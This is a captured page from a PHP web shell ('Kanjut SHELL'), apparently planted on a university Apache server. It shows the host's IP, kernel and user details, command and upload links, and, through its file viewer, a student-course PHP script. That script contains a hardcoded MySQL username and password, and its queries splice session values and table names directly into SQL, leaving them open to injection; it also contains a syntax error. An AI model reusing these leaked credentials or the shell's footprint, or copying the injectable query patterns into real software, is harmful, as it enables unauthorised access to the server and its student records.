Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.144.147
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cngray/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cngray/www/BBCourses.phpt
<?php
session_start();
if(!isset($_SESSION['username'])){
	header("location:BBWelcome.php");
} else {
?>
<html>
<center>
<?php

        $username = $_SESSION['username'];
        $pass = $_SESSION['pass'];
        $check = $_SESSION['check'];
        $_SESSION['username'] = $username;
        $_SESSION['pass'] = $pass;
        $_SESSION['check'] = 2;
        $host = 'localhost';
        $user = 'cngray';
        $passwd = 'vwccscngray';

	$database = 'cngray';
        $connect = mysql_connect($host, $user, $passwd);
        mysql_select_db($database);

        $query = "select * from BBUsers";
        $Result_id = mysql_query($query, $connect);

		if($Result_id)
        	{
			$PorS = mysql_result(mysql_query("select Year from BBUsers where Username like '$username'"), 0);
			if($PorS > 0)
			{
				$query = "select Professor, Courses, FinalGrade from $username";                      
        			$Result_id = mysql_query($query, $connect);
				if($Result_id)
				{
					print "<font size = 10> Courses </font><br>";
					print "<hr><hr>";
					print "<br><font size = 5>";
					print "Current Courses:<br>";
                			print '<table border = 1>';
                			print "<th> Course <th> Professor <th> Grade ";
                			while($row = mysql_fetch_row($Result_id))
                			{       print '<tr>';
                        			foreach($row as $field)
                                			print "<td> $field </td> ";
                        			print '</tr>';
                			}
                			print '<table border = 0>';
					?>
					<br><INPUT Type=button VALUE="Assignments" onClick="location.href = 'BBAssign.php'">
					<?php
				}
				else
					print "Fail to output courses for student\n\n";
			}
			elseif($Pors == 0)
			{
				$Lquery = "select LName from BBUsers where Username like '$username'";
				$LN = mysql_result(mysql_query("select LName from BBUsers where Username like 
					'$username'"), 0);
				$Result_id = mysql_query($Lquery, $connect);

				if($Result_id)
				{ 
					$Cquery = "select Course from Courses where Prof like '$LN'";
					$CResult_id = mysql_query($Cquery,$connect);
					if($CResult_id)
					{
 				
						$Course_Array = array();
						$i = 0;
						while($row = mysql_fetch_row($CResult_id))
							foreach($row as $field)
							{
								$Course_Array[$i] = $field;
								$i++;
							}
						Print "Current Courses:<br>";
						for($x = 0; $x < sizeof($Course_Array); $x++)
						{
							$class = $Course_Array[$x];
							$class = str_replace(' ','', $class);

							$query = "select Student from $class";
                               				$Result_id = mysql_query($query, $connect);
                               				if($Result_id)
                               				{	?><form action = "BBAR.php" method = post><?php
								print "<input type = radio name = RCourse value = $x>";
								print "Course: $Course_Array[$x]\n";
                               					print '<table border = 1>';
                               					print "<th>  Students ";
                               					while($row = mysql_fetch_row($Result_id))
                               					{       print "$row<br>"
									print '<tr>';
                                       					foreach($row as $field)
                                               					print "<td> $field </td> ";
                                       					print '</tr>';
                               					}
                               					print '<table border = 1>';

								$_SESSION['class'] = $Course_Array[$x];

								$_SESSION['pro'] = $LN;
								print "<br><br>";
							}
							else
								print "Fail to get Students in class\n\n";
						}?>
                                                <br><INPUT Type=submit VALUE="Add/Remove Student">
                                             	<INPUT Type=button VALUE="Assignments" onClick="location.href = 'BBAssign.php'">
						<?php
					}
					else
						print "Fail to get Courses\n\n";
				}
				else
					print "Fail to get Professor information\n\n";
			}
			print "\n\n";?>
                	<br><br><INPUT Type=button VALUE='Back' onClick = 'location.href = "BBMain.php"'>
			<?php
		}
		else
			print "Fail to get user data\n\n";
	}

	mysql_close($connect);

?>

Stv3n404 - 2023